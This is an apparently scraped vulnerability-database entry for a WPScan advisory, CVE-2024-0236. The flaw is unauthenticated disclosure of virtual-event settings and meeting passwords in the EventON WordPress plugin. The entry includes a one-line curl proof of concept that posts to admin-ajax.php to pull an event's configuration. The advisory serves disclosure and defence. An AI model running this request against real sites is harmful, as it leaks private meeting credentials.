Lucene search
Erwan LR (WPScan)WPVDB-ID:09AEB6F2-6473-4DE7-8598-E417049896D7HistoryJan 10, 2024 - 12:00 a.m.
EventON (Free < 2.2.8, Premium < 4.5.5) - Unauthenticated Virtual Event Password Disclosure
2024-01-1000:00:00
Erwan LR (WPScan)
wpscan.com
7
eventon
unauthenticated
virtual event
password
disclosure
ajax
settings
arbitrary
meeting
zoom
poc
software
0.001 Low
EPSS
Percentile
20.7%
Description The plugins do not have authorisation in an AJAX action, allowing unauthenticated users to retrieve the settings of arbitrary virtual events, including any meeting password set (for example for Zoom)
PoC
curl -X POST --data “eid=240” ‘http://127.0.0.1/wp-admin/admin-ajax.php?action=eventon_config_virtual_event’ 240 being the ID of a virtual event
Related
cvelist
cvelist
nvd
nvd
CVE-2024-0236
2024-01-16 16:15:14
prion
prion
Default credentials
2024-01-16 16:15:00
cve
cve
CVE-2024-0236
2024-01-16 16:15:14
wpexploit
wpexploit